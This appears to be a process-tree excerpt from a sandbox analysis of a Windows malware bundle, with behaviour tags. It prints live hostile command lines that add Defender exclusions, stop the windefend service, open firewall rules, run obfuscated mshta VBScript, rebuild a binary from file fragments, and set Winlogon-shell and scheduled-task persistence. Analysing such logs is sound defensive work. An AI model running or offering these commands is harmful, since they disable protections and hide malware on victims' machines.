C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \9⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes9⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes9⤵
-
C:\Users\Admin\Pictures\Adobe Films\6wdRf8m8ias3msQf3OfQ6p33.exe"C:\Users\Admin\Pictures\Adobe Films\6wdRf8m8ias3msQf3OfQ6p33.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\VVRfrq4X8aWdRRsRCNI43zgP.exe"C:\Users\Admin\Pictures\Adobe Films\VVRfrq4X8aWdRRsRCNI43zgP.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\CR1wGFGWl1341eMxMkJZ8pVw.exe"C:\Users\Admin\Pictures\Adobe Films\CR1wGFGWl1341eMxMkJZ8pVw.exe"7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue203dd57461.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue203dd57461.exeTue203dd57461.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\673526.exe"C:\Users\Admin\AppData\Roaming\673526.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6860493.exe"C:\Users\Admin\AppData\Roaming\6860493.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\3233740.exe"C:\Users\Admin\AppData\Roaming\3233740.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\2587217.exe"C:\Users\Admin\AppData\Roaming\2587217.exe"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\2587217.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\2587217.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\2587217.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\2587217.exe" ) do taskkill -f -Im "%~NXZ"9⤵
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"12⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )11⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "13⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"13⤵
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K13⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K14⤵
- Loads dropped DLL
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K15⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K16⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "2587217.exe"10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\459688.exe"C:\Users\Admin\AppData\Roaming\459688.exe"7⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\6851633.exe"C:\Users\Admin\AppData\Roaming\6851633.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20c79bfdadc.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20c79bfdadc.exeTue20c79bfdadc.exe6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20c79bfdadc.exeC:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20c79bfdadc.exe7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue205724605816e79.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue205724605816e79.exeTue205724605816e79.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 548 -s 2967⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2095db5b6bd7.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2082ea84bd.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20d8f1968de62f282.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue202dc71d1d41.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20abd30733a17.exe5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 6125⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\NETSTAT.EXE"C:\Windows\SysWOW64\NETSTAT.EXE"2⤵
- Gathers network information
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\MPBInnvNQNGFqEA27CwasfoV.exe"3⤵
-
C:\Windows\SysWOW64\cscript.exe"C:\Windows\SysWOW64\cscript.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\8BBC.exeC:\Users\Admin\AppData\Local\Temp\8BBC.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\8BBC.exeC:\Users\Admin\AppData\Local\Temp\8BBC.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\E680.exeC:\Users\Admin\AppData\Local\Temp\E680.exe2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 2803⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\3608.exeC:\Users\Admin\AppData\Local\Temp\3608.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\5828.exeC:\Users\Admin\AppData\Local\Temp\5828.exe2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5784 -s 2803⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1D5D.exeC:\Users\Admin\AppData\Local\Temp\1D5D.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\1D5D.exeC:\Users\Admin\AppData\Local\Temp\1D5D.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\1F5D.exeC:\Users\Admin\AppData\Local\Temp\1F5D.exe2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1900 -s 3003⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\5E3C.exeC:\Users\Admin\AppData\Local\Temp\5E3C.exe2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2296 -s 2803⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\BC56.exeC:\Users\Admin\AppData\Local\Temp\BC56.exe2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release3⤵
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /release4⤵
- Gathers network information
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵
- Executes dropped EXE
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew3⤵
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /renew4⤵
- Gathers network information
-
C:\Users\Admin\AppData\Local\Temp\BC56.exeC:\Users\Admin\AppData\Local\Temp\BC56.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9060 -s 17724⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\D240.exeC:\Users\Admin\AppData\Local\Temp\D240.exe2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"3⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"4⤵
-
C:\Users\Admin\AppData\Local\chromedrlver.exe"C:\Users\Admin\AppData\Local\chromedrlver.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\E627.exeC:\Users\Admin\AppData\Local\Temp\E627.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\144f502c-ec05-40c2-ab92-64438c50b576\test.bat"4⤵
-
C:\Windows\system32\sc.exesc stop windefend5⤵
-
C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e0b02697-ca52-443a-8934-339c7c53ad71\test.bat"4⤵
-
C:\Windows\system32\sc.exesc stop windefend5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fc8ba832-77a4-482a-98e0-fcfb257423de\test.bat"5⤵
-
C:\Windows\system32\sc.exesc stop windefend6⤵
-
C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3d20a76e-59b0-4c6e-9b5e-c6cfcf3b202e\test.bat"5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\E627.exe" -Force3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\3F73.exeC:\Users\Admin\AppData\Local\Temp\3F73.exe2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2792 -s 4603⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2792 -s 4723⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\680B.exeC:\Users\Admin\AppData\Local\Temp\680B.exe2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7316 -s 2723⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\E172.exeC:\Users\Admin\AppData\Local\Temp\E172.exe2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6112 -s 2283⤵
- Program crash
-
C:\Program Files (x86)\G1bt\autochkvnh.exe"C:\Program Files (x86)\G1bt\autochkvnh.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082ea84bd.exeTue2082ea84bd.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082ea84bd.exeC:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2082ea84bd.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue202dc71d1d41.exeTue202dc71d1d41.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\_r5JLGq5TpDcIi2uAyCJULPW.exe"C:\Users\Admin\Pictures\Adobe Films\_r5JLGq5TpDcIi2uAyCJULPW.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\ZsFLjmWCA5_uPAySqKD9nFC7.exe"C:\Users\Admin\Pictures\Adobe Films\ZsFLjmWCA5_uPAySqKD9nFC7.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5760 -s 2883⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\ixDP7JtggePrgoUhysMLbAzS.exe"C:\Users\Admin\Pictures\Adobe Films\ixDP7JtggePrgoUhysMLbAzS.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\eZzy0lhDfGAmGpkkI549mV7B.exe"C:\Users\Admin\Pictures\Adobe Films\eZzy0lhDfGAmGpkkI549mV7B.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\AhSnuM20FOX531ssGHPUIE8t.exe"C:\Users\Admin\Pictures\Adobe Films\AhSnuM20FOX531ssGHPUIE8t.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\ulLGgzfLQTTFAoos6gG2CmSA.exe"C:\Users\Admin\Pictures\Adobe Films\ulLGgzfLQTTFAoos6gG2CmSA.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Executes dropped EXE
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\aLdqy5iFgnrQiGnfWIZS3uQu.exe"C:\Users\Admin\Documents\aLdqy5iFgnrQiGnfWIZS3uQu.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\DMGPI0iyMmfPJ71LprDKVgES.exe"C:\Users\Admin\Pictures\Adobe Films\DMGPI0iyMmfPJ71LprDKVgES.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\01K6B3CTe3IDH30nzakNg7x0.exe"C:\Users\Admin\Pictures\Adobe Films\01K6B3CTe3IDH30nzakNg7x0.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 2925⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\oo1HhoKf1u1jIitO6dVxJibi.exe"C:\Users\Admin\Pictures\Adobe Films\oo1HhoKf1u1jIitO6dVxJibi.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 2805⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\78uGyAXjXixj5_eorVev0Qtw.exe"C:\Users\Admin\Pictures\Adobe Films\78uGyAXjXixj5_eorVev0Qtw.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\hALyT60sY1EfopQpUygh1TkP.exe"C:\Users\Admin\Pictures\Adobe Films\hALyT60sY1EfopQpUygh1TkP.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe"C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe"4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\cTqkfXOEjB4R7EOEimx4XMhj.exe" ) do taskkill -f -iM "%~NxM"6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "cTqkfXOEjB4R7EOEimx4XMhj.exe"7⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe"C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe"C:\Users\Admin\Pictures\Adobe Films\6RQZDn6ucIsMAlq8Lpp_sZc0.exe" -u5⤵
-
C:\Users\Admin\Pictures\Adobe Films\1_6hXZRZ8qe3uD2kRnsSA0HY.exe"C:\Users\Admin\Pictures\Adobe Films\1_6hXZRZ8qe3uD2kRnsSA0HY.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"6⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ffd53b0dec0,0x7ffd53b0ded0,0x7ffd53b0dee07⤵
-
